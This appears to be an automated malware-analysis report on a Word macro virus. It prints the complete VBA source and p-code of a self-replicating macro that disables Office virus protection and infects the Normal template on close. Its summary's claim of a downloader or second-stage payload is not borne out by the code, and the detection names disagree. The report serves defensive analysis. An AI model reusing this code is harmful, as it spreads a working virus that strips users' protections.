MALICIOUS
248
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an Auto_Close subroutine that attempts to export its code to 'c:\class.sys'. This action is indicative of a downloader or dropper mechanism, likely intended to execute a second-stage payload. The presence of legacy WordBasic macro virus markers and ClamAV detections further supports its malicious nature.
Heuristics 5
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ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Class-37
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12289 bytes |
SHA-256: 64543b176e40e736757fb0b2836f2851d48f1d8a04c164c1db72aefcf3a375bb |
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Detection
ClamAV:
Doc.Trojan.Class-23
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
On Error GoTo out
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
Options.VirusProtection = False
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
Options.SaveNormalPrompt = False
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
Options.ConfirmConversions = False
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
If nt > 70 And ad > 0 Then GoTo out
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
If nt < 70 Then
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
Set host = NormalTemplate.VBProject.VBComponents.Item(1)
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
End If
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
If Day(Now) = 14 And Month(Now) > 5 Then MsgBox "Hey there, Carol! ", 0, "Class.Poppy"
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
host.codemodule.AddFromFile ("c:\class.sys")
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
With host.codemodule
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
For x = 1 To 4
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
.deletelines 1
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
Next x
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
End With
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
If nt < 70 Then
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
With host.codemodule
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
.replaceline 1, "Sub AutoClose()"
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
.replaceline 91, "Sub ToolsMacro()"
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
For x = 70 To 81
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
.deletelines 62
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
Next x
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
.replaceline 35, " For x = 1 To 4"
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
End With
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
End If
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
With host.codemodule
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
For x = 2 To 104 Step 2
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
.replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
Next x
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
End With
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
out:
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
End Sub
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
Sub ToolsMacro()
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
End Sub
' Processing file: /tmp/qstore_qmvfsh8y
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6860 bytes
' Line #0:
' FuncDefn (Sub AutoClose())
' Line #1:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #2:
' OnError out
' Line #3:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #4:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #5:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #6:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #7:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #8:
' LitVarSpecial (False)
' Ld Options
' MemSt ConfirmConversions
' Line #9:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #10:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St ad
' Line #11:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #12:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St nt
' Line #13:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #14:
' Ld nt
' LitDI2 0x0046
' Gt
' Ld ad
' LitDI2 0x0000
' Gt
' And
' If
' BoSImplicit
' GoTo out
' EndIf
' Line #15:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #16:
' Ld nt
' LitDI2 0x0046
' Lt
' IfBlock
' Line #17:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #18:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set host
' Line #19:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #20:
' Ld host
' MemLd New
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemSt New
' Line #21:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #22:
' LitStr 0x000C "c:\class.sys"
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' ArgsMemCall Export 0x0001
' Line #23:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #24:
' EndIfBlock
' Line #25:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #26:
' Ld ad
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set host
' EndIf
' Line #27:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #28:
' Ld Now
' ArgsLd Day 0x0001
' LitDI2 0x000E
' Eq
' Ld Now
' ArgsLd Month 0x0001
' LitDI2 0x0005
' Gt
' And
' If
' BoSImplicit
' LitStr 0x0012 "Hey there, Carol! "
' LitDI2 0x0000
' LitStr 0x000B "Class.Poppy"
' ArgsCall MsgBox 0x0003
' EndIf
' Line #29:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #30:
' LitStr 0x000C "c:\class.sys"
' Paren
' Ld host
' MemLd codemodule
' ArgsMemCall AddFromFile 0x0001
' Line #31:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #32:
' StartWithExpr
' Ld host
' MemLd codemodule
' With
' Line #33:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #34:
' StartForVariable
' Ld x
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0004
' For
' Line #35:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #36:
' LitDI2 0x0001
' ArgsMemCallWith deletelines 0x0001
' Line #37:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #38:
' StartForVariable
' Ld x
' EndForVariable
' NextVar
' Line #39:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #40:
' EndWith
' Line #41:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #42:
' Ld nt
' LitDI2 0x0046
' Lt
' IfBlock
' Line #43:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #44:
' StartWithExpr
' Ld host
' MemLd codemodule
' With
' Line #45:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #46:
' LitDI2 0x0001
' LitStr 0x000F "Sub AutoClose()"
' ArgsMemCallWith replaceline 0x0002
' Line #47:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #48:
' LitDI2 0x005B
' LitStr 0x0010 "Sub ToolsMacro()"
' ArgsMemCallWith replaceline 0x0002
' Line #49:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #50:
' StartForVariable
' Ld x
' EndForVariable
' LitDI2 0x0046
' LitDI2 0x0051
' For
' Line #51:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #52:
' LitDI2 0x003E
' ArgsMemCallWith deletelines 0x0001
' Line #53:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #54:
' StartForVariable
' Ld x
' EndForVariable
' NextVar
' Line #55:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #56:
' LitDI2 0x0023
' LitStr 0x0012 " For x = 1 To 4"
' ArgsMemCallWith replaceline 0x0002
' Line #57:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #58:
' EndWith
' Line #59:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #60:
' EndIfBlock
' Line #61:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #62:
' StartWithExpr
' Ld host
' MemLd codemodule
' With
' Line #63:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #64:
' StartForVariable
' Ld x
' EndForVariable
' LitDI2 0x0002
' LitDI2 0x0068
' LitDI2 0x0002
' ForStep
' Line #65:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #66:
' Ld x
' LitStr 0x0001 "'"
' Ld Application
' MemLd UserName
' Concat
' Ld Now
' Concat
' Ld Application
' MemLd ActivePrinter
' Concat
' Ld Application
' MemLd ActiveWindow
' Concat
' ArgsMemCallWith replaceline 0x0002
' Line #67:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #68:
' StartForVariable
' Ld x
' EndForVariable
' NextVar
' Line #69:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #70:
' EndWith
' Line #71:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #72:
' Label out
' Line #73:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #74:
' Ld nt
' LitDI2 0x0046
' Gt
' Ld ad
' LitDI2 0x0000
' Eq
' And
' If
' BoSImplicit
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' EndIf
' Line #75:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #76:
' EndSub
' Line #77:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #78:
' FuncDefn (Sub ToolsMacro())
' Line #79:
' QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #80:
' EndSub
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